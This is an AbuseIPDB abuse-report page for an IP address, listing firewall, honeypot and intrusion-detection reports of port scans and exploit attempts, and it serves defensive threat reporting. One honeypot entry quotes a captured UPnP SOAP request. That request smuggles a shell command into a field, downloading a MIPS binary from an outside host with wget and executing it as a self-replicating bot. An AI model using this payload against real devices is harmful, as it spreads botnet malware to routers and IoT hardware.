JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 154.16.248.124

154.16.248.124 was found in our database!

This IP was reported 32 times. Confidence of Abuse is 100%: ?

100%

ISP	Digital Energy Technologies Limited
Usage Type	Data Center/Web Hosting/Transit
ASN	AS61112
Domain Name	netutils.io
Country	🇯🇵 Japan
City	Tokyo, Tokyo

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 154.16.248.124

Whois 154.16.248.124

IP Abuse Reports for 154.16.248.124:

This IP address has been reported a total of 32 times from 24 distinct sources. 154.16.248.124 was first reported on June 16th 2026, and the most recent report was 2 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇳🇱 COMPLEX	2026-06-20 00:03:10 (2 hours ago)	Unsolicited TCP traffic \| Action: DROP \| Port 37215	Brute-Force
🇦🇹 urnilxfgbez	2026-06-19 22:45:00 (3 hours ago)	Last 24 Hours suspicious: (DPT=445\|DPT=3389\|DPT=22\|DPT=3306\|DPT=8080\|DPT=23\|DPT=5900\|DPT=1433)	Port Scan
🇧🇷 diego	2026-06-19 12:27:15 (13 hours ago)	[rede-164-29] 06/19/2026-09:27:14.999338, 154.16.248.124, Protocol: 6, ET CINS Active Threat Intelli ... show more [rede-164-29] 06/19/2026-09:27:14.999338, 154.16.248.124, Protocol: 6, ET CINS Active Threat Intelligence Poor Reputation IP group 207 show less	Hacking
🇺🇸 MPL	2026-06-19 11:34:47 (14 hours ago)	tcp/23	Port Scan
🇳🇱 ByeByte API	2026-06-19 09:44:37 (16 hours ago)	byebyte.space auth: TCP packet to port 37215 (high-risk service) at 2026-06-19T09:44:37Z. Source por ... show more byebyte.space auth: TCP packet to port 37215 (high-risk service) at 2026-06-19T09:44:37Z. Source port 18565. TCP flags: SYN. Packet: 40B, TTL 43, window 40906, IP id 15618. Single packet, dropped at firewall. p0f: 21 hops. show less	Port Scan
🇩🇪 EinfxchFinn	2026-06-19 07:59:37 (18 hours ago)	Unauthorized connection attempt to port 52869 from 154.16.248.124	Port Scan
🇺🇸 xmission.com	2026-06-19 04:38:18 (21 hours ago)	Blocked by UFW (TCP on 80) Source port: 17541 TTL: 53 Packet length: 40 TOS: 0x08 This report (for ... show more Blocked by UFW (TCP on 80) Source port: 17541 TTL: 53 Packet length: 40 TOS: 0x08 This report (for 154.16.248.124) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Web App Attack
🇬🇧 gbzret4d	2026-06-19 04:33:50 (21 hours ago)	Honeypot [uk-production01]: HTTP/1.1 request on 52869 POST /picdesc.xml User-Agent: Mozilla/4.0 (co ... show more Honeypot [uk-production01]: HTTP/1.1 request on 52869 POST /picdesc.xml User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Accept: / Accept-Encoding: gzip, deflate POST Data: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf zuki; wget http://109.104.153.60/bins/frosty.mips -O zuki; chmod 777 zuki; ./zuki realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>; 52869 [2] TCP show less	Hacking Bad Web Bot
🇩🇪 Axel	2026-06-18 23:09:17 (1 day ago)	[2026-06-18 23:09:16 UTC] Honeypot Huawei-specific IoT exploits connection attempt \| AXFRA HONEYPOT	IoT Targeted
🇦🇹 urnilxfgbez	2026-06-18 22:45:00 (1 day ago)	Last 24 Hours suspicious: (DPT=445\|DPT=3389\|DPT=22\|DPT=3306\|DPT=8080\|DPT=23\|DPT=5900\|DPT=1433)	Port Scan
🇺🇸 MPL	2026-06-18 21:59:50 (1 day ago)	tcp/5555	Port Scan
🇺🇸 MPL	2026-06-18 21:06:49 (1 day ago)	tcp ports: 23,5555 (2 or more attempts)	Port Scan
🇳🇱 VMHeaven.io	2026-06-18 14:37:17 (1 day ago)	Blocked by UFW [52869/tcp] Source port: 19077 TTL: 43 Packet length: 40	Port Scan
🇫🇷 EDSL	2026-06-18 09:02:41 (1 day ago)	[SRV-VPN1] Blocked by SysWarden Firewall (Port Scan / Probing)	Port Scan
Anonymous	2026-06-18 04:34:10 (1 day ago)	Jun 17 21:20:17 localhost kernel: [110090903.634224] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:9 ... show more Jun 17 21:20:17 localhost kernel: [110090903.634224] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=154.16.248.124 DST=[mungedIP2] LEN=40 TOS=0x00 PREC=0x00 TTL=42 ID=22264 PROTO=TCP SPT=22030 DPT=52869 WINDOW=20172 RES=0x00 SYN URGP=0 Jun 17 21:20:17 localhost kernel: [110090903.634260] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=154.16.248.124 DST=[mungedIP2] LEN=40 TOS=0x00 PREC=0x00 TTL=42 ID=22264 PROTO=TCP SPT=22030 DPT=52869 SEQ=758669438 ACK=0 WINDOW=20172 RES=0x00 SYN URGP=0 Jun 18 00:34:09 localhost kernel: [110102535.056954] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=154.16.248.124 DST=[mungedIP2] LEN=40 TOS=0x00 PREC=0x00 TTL=45 ID=56203 PROTO=TCP SPT=45670 DPT=52869 WINDOW=50893 RES=0x00 SYN URGP=0 Jun 18 00:34:09 localhost kernel: [110102535.056974] iptables_INPUT_denied: IN=eth0 OUT= MAC=f2:3c:91:84:83:95:00:00:0c:9f:f0:1e:08:00 SRC=154.16.248.124 DST=[mungedIP2] LEN=40 show less	Port Scan

Showing 1 to 15 of 32 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 216.180.246.78

🇺🇸 162.216.149.230

🇷🇺 144.31.222.179

🇭🇰 101.36.109.176

🇨🇦 85.217.149.55

🇺🇸 74.82.47.53

🇺🇸 74.7.228.17

🇩🇪 69.5.169.93

🇸🇪 31.59.160.12

🇰🇷 14.32.106.73

🇰🇷 220.124.208.27

🇺🇸 172.56.141.192

🇮🇳 157.51.102.160

🇫🇮 147.185.133.73

🇩🇪 130.12.180.15

🇺🇸 66.132.195.119

🇺🇸 65.49.1.18

🇨🇴 45.172.218.179

🇫🇷 37.67.76.10

🇳🇱 195.178.110.30